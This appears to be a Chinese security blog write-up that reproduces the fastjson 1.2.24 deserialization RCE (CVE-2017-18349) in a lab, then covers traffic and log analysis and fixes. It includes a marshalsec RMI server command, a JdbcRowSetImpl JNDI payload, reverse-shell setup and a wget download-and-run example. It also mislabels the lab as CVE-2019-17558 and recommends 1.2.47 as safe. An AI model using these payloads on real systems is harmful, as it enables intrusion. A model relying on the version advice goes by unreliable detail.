fastjson 1.2.24 反序列化 RCE 漏洞复现(CVE-2017-18349)

📢 漏洞概述

漏洞背景:

1.fastjson 是阿里巴巴开发的一款高性能 JSON 解析库,在 Java 开发领域被广泛应用,用于处理 JSON 数据的序列化与反序列化操作,众多企业级应用借助它实现高效的数据交互与处理。

2.Java 反序列化机制是 Java 提供的一种将字节流重新转换为 Java 对象的功能,在分布式系统、远程通信等场景中常用,但该机制存在被恶意利用的风险。

3.当 fastjson 在反序列化过程中对输入数据的校验和控制不足时,攻击者可构造特殊的 JSON 数据,利用 Java 反序列化机制执行任意代码,从而严重威胁应用系统安全。

漏洞触发条件:

1.fastjson 的 autoType 功能默认开启,该功能允许在反序列化时根据 JSON 数据中的 @type 字段来确定要反序列化的具体 Java 类。此功能虽提供了便利,但也为攻击者创造了可乘之机。

2.攻击者构造包含特定恶意类(如具有 JNDI 注入能力的类)的 JSON 数据,利用 autoType 功能,使 fastjson 在反序列化过程中加载并实例化恶意类,进而触发远程代码执行漏洞。

漏洞利用流程:

1.攻击者需要找到应用程序中使用 fastjson 进行 JSON 反序列化的接口端点,例如常见的接受 JSON 格式数据的 API 接口。

2.在 CVE - 2017 - 18349 漏洞利用中,攻击者利用 fastjson 对 @type 字段的解析特性,精心构造恶意 JSON 数据。

3.恶意类加载与执行:攻击者构造的 JSON 数据中指定的恶意类(如 com.sun.rowset.JdbcRowSetImpl)在反序列化过程中被加载,该类在初始化时会解析特定参数(如 dataSourceName),攻击者通过将该参数指向恶意的 LDAP 服务器,触发 JNDI 注入,最终实现远程代码执行。

img

🔎 漏洞详情

受影响的版本:

此漏洞影响 fastjson 1.2.24 及以下版本。只要应用中使用了这些版本的 fastjson 库进行 JSON 反序列化操作,并且 autoType 功能未被正确禁用,漏洞就可能被触发。
配置和部署条件:
仅在 fastjson 库的 autoType 功能开启,且应用未对反序列化类进行严格白名单限制的情况下,攻击者才能利用该漏洞。默认情况下,fastjson 的 autoType 功能是开启的,许多开发者在项目开发过程中如果没有关注到安全配置,就容易引入安全隐患。

可能受影响的系统:

Java Web 应用: 广泛使用 fastjson 处理 JSON 数据交互的各类 Java Web 应用,包括电商平台、企业管理系统、在线办公系统等。
分布式系统: 以 Java 语言开发,采用分布式架构,在各节点间使用 fastjson 进行数据传输与解析的分布式系统。
微服务架构: 基于微服务架构搭建,服务间通信依赖 fastjson 进行 JSON 数据序列化与反序列化的应用体系。

潜在风险与后果:

漏洞可导致远程代码执行,攻击者能够在受影响的服务器上执行任意 Java 代码,进而获取服务器敏感信息,如数据库连接信息、用户凭证等。
如果受影响的应用系统缺乏有效的边界防护与访问控制,攻击者可借助该漏洞实现横向移动,进一步渗透整个网络,造成大规模的数据泄露、服务瘫痪,甚至使企业关键业务系统完全被攻击者掌控 。

评分

CVE-2017-18349 漏洞的 CVSS v3.0 评分为 8.1,同样属于高风险漏洞。鉴于其能引发远程代码执行,一旦被利用,攻击者可肆意操控服务器,窃取敏感数据、破坏系统运行。尤其是当使用 fastjson 1.2.24 及以下版本的系统暴露在公共网络上时,遭受攻击的风险急剧攀升。强烈建议相关企业与开发者尽快按照修复建议进行处理,如升级 fastjson 至安全版本,或合理配置 autoType 关闭策略,降低安全隐患,保障系统平稳、安全运行 。

漏洞存在条件

fastjson 的 autoType 功能开启:fastjson 必须开启了 autoType 功能,默认情况下 fastjson 1.2.24 及以下版本该功能是开启的。当应用程序使用 fastjson 进行 JSON 反序列化时,这个功能允许根据 JSON 数据中的 @type 字段来确定要反序列化的具体 Java 类,从而为漏洞利用创造了条件。

反序列化类未受严格限制:应用程序在使用 fastjson 进行反序列化操作时,没有对反序列化的类进行严格的白名单限制。这使得攻击者能够构造包含恶意类(如具有 JNDI 注入能力的类,如 com.sun.rowset.JdbcRowSetImpl 等)的 JSON 数据,在反序列化过程中加载并实例化这些恶意类。

使用的 fastjson 版本:漏洞存在于 fastjson 1.2.24 及以下版本中。如果应用程序没有及时将 fastjson 库升级到安全版本(1.2.25 及以上),就容易受到该反序列化 RCE 漏洞的影响。

🧪 漏洞复现

1.拉取CVE-2019-17558复现环境

在靶机对应的漏洞文件夹下运行docker compose up

运行docker ps可查看容器运行情况

img

由图可知,容器成功运行在本机8090端口

2.编译反弹shell代码

在本地写一个test.java

img

将shell反弹到本机4563端口

在Java8环境中编译test.java并上传到服务器

img

随后开启http服务,将爆破代码上传****pyton -m http.server 5623****

img

访问端口发现其成功运行

img

3.部署rmi服务

在github上获取****marshalsec-0.0.3–SHOT-all.jar****

链接为https://github.com/RandomRobbieBF/marshalsec-jar

运行以下命令

java -cp marshalsec-0.0.3–SHOT-all.jar marshalsec.jndi.RMIRefServer “http://47.96.99。165:5623/#test“ 8653

img

  1. 构造playload进行攻击

img

观察端口回显

img

发现5623端口目录被访问

img

8653端口的rmi服务启动并被执行

img

监听的4563端口成功反弹shell

数据分析

流量分析

image-20250817175049808

特殊的 JSON 数据格式:

流量包中会包含精心构造的 JSON 数据,这些数据通常包含 @type 字段,用于指定要反序列化的类。例如:”@type”:”com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:”rmi://192.168.0.1:8653/test”,
“autoCommit”:true

JNDI 相关的请求:

由于漏洞利用常借助 JNDI(Java 命名和目录接口)注入来实现远程代码执行,流量包中会出现与 JNDI 相关的请求。比如,会有向恶意 LDAP 服务器(如数据中 dataSourceName 指定的地址)发起的请求,以获取恶意类或资源。这些请求的目标地址通常是攻击者控制的服务器,并且请求的协议为 LDAP 协议(端口一般为 389 或攻击者自定义的端口,如 1389 等)。

异常的请求头和内容类型:

一般来说,使用 fastjson 进行数据交互的请求会有特定的请求头,比如 Content-Type: application/json。但在攻击过程中,除了正常的 JSON 数据传输特征外,由于恶意构造的存在,请求的内容可能会包含一些不常见或不符合正常业务逻辑的字段和值。

频繁的请求模式:

攻击者在尝试利用漏洞时,可能会发送多个不同的请求来测试和验证漏洞是否存在,或者进行一系列的操作来完成整个攻击流程。因此,流量包中可能会出现相对频繁且具有一定规律的请求模式,与正常的业务请求模式不同。

数据传输量异常:

与正常业务数据传输相比,包含恶意 JSON 数据的流量包可能会在数据量上表现出异常。因为恶意构造的数据可能包含较长的类名、复杂的参数值(如恶意的 dataSourceName 地址)等,导致传输的数据量比正常情况大。

请求来源异常:

如果应用系统有固定的访问来源或正常的业务访问模式,而攻击流量的来源可能来自一些不常见的 IP 地址或地理位置,这也可以作为一个攻击特征在流量包中体现出来。

日志分析

日志特征

image-20250817175206768

异常请求记录:有与正常请求不同的 POST 请求记录,请求路径可能是应用中与 Fastjson 解析相关的接口。并且请求体中包含恶意构造的 JSON 数据,例如{“b”:{“@type”:”com.sun.rowset.jdbcrowsetimpl”,”datasourcename”:”rmi://192.168.142.133:1099/tmhawa”,”autocommit”:true}},这是利用漏洞尝试连接远程 RMI 服务器以执行恶意代码的典型特征。

频繁请求:可能出现来自同一 IP 地址或不同 IP 地址的大量相似请求,都试图利用漏洞执行不同的恶意操作,如多次尝试连接不同的远程服务器或执行不同的命令。

系统命令执行日志:如果攻击者成功利用漏洞执行了系统命令,Docker 日志中可能会出现相应的命令执行记录以及执行结果。比如执行touch /tmp/test命令来创建一个测试文件,日志中可能会有类似Executing command: touch /tmp/test的记录,或者是执行cat /etc/passwd命令读取用户信息,也会有相应的记录显示。

类加载错误:由于攻击者构造的恶意 JSON 数据可能尝试加载不存在或无权限访问的类,Fastjson 在解析时可能会产生类加载错误日志。例如,日志中出现ClassNotFoundException: com.sun.rowset.jdbcrowsetimpl等类似的错误信息,提示找不到指定的类。

连接错误:当攻击者尝试连接远程 RMI 服务器时,如果服务器不存在、端口未开放或网络连接有问题,会产生连接错误日志。如java.rmi.ConnectException: Connection refused to host: 192.168.142.133; nested exception is: java.net.ConnectException: Connection refused,表明无法连接到指定的远程服务器。

漏洞利用行为总结

针对漏洞利用过程中的流量和服务器日志进行发现,总结漏洞利用过程中行为特征如下:
构造恶意 JSON 数据:攻击者会构造包含特定类和方法调用的 JSON 数据,利用 Fastjson 的反序列化机制,将 JSON 数据转换为 Java 对象时执行恶意代码。例如,利用com.sun.rowset.JdbcRowSetImpl类的特性,通过设置datasourcename属性来指定远程 RMI 服务器地址和端口,尝试连接远程服务器并执行恶意代码。

发送恶意请求:攻击者将构造好的恶意 JSON 数据通过 HTTP 请求发送到使用 Fastjson 进行 JSON 解析的目标应用程序接口。这通常是一个 POST 请求,请求体中包含恶意 JSON 数据,Content - Type 设置为application/json。

触发反序列化漏洞:目标应用程序接收到请求后,使用 Fastjson 对请求体中的 JSON 数据进行反序列化处理。由于 Fastjson 在反序列化过程中没有对输入进行充分的验证和过滤,导致恶意代码被执行。

执行恶意代码:一旦反序列化过程被利用,攻击者可以执行任意代码,如连接远程服务器下载并执行恶意软件、读取或篡改服务器上的敏感文件、获取系统权限等。例如,攻击者可以利用漏洞执行系统命令,如cat /etc/passwd读取用户信息,或通过执行wget http://evil - server / malicious - file && chmod + x malicious - file &&./malicious - file下载并执行恶意文件。

🛡️ 修复方案

升级 Fastjson 版本:将 Fastjson 升级到官方修复该漏洞的版本,建议使用 1.2.47 及以上版本。在升级前,需全面评估应用程序与新版本 Fastjson 的兼容性,可在测试环境中进行充分测试,确保升级后应用程序能正常运行。

输入验证与过滤:对接收的 JSON 数据进行严格的输入验证和过滤,阻止包含恶意类名、方法名或特定关键词的 JSON 数据进入反序列化流程。可以使用正则表达式或其他验证机制,检查 JSON 数据中的类名是否在允许的白名单内,防止非法类被反序列化。

安全配置 Fastjson:配置 Fastjson 的反序列化特性,限制反序列化的类范围,只允许特定的、信任的类进行反序列化。同时,禁用自动类型转换等可能存在风险的功能,降低漏洞被利用的可能性。例如,在使用 Fastjson 解析 JSON 数据时,通过设置ParserConfig来指定允许反序列化的类。

及时关注安全公告:关注 Fastjson 官方的安全公告和更新信息,及时了解并处理新发现的安全问题。建立安全信息收集机制,以便在出现新漏洞时能快速响应并采取相应的修复措施。

安全编码规范:开发人员应遵循安全编码规范,避免在代码中出现可被利用的安全隐患。例如,避免直接使用用户输入来构造反序列化对象,对不可信的输入进行充分的净化和验证。同时,定期进行代码审查,检查是否存在潜在的安全漏洞。

📚 参考资料

https://www.cnblogs.com/Junglezt/p/18137413

💡 总结与启示

这是24年上半年复现的洞了,现在搞个博客才发,就当简单记录和复习了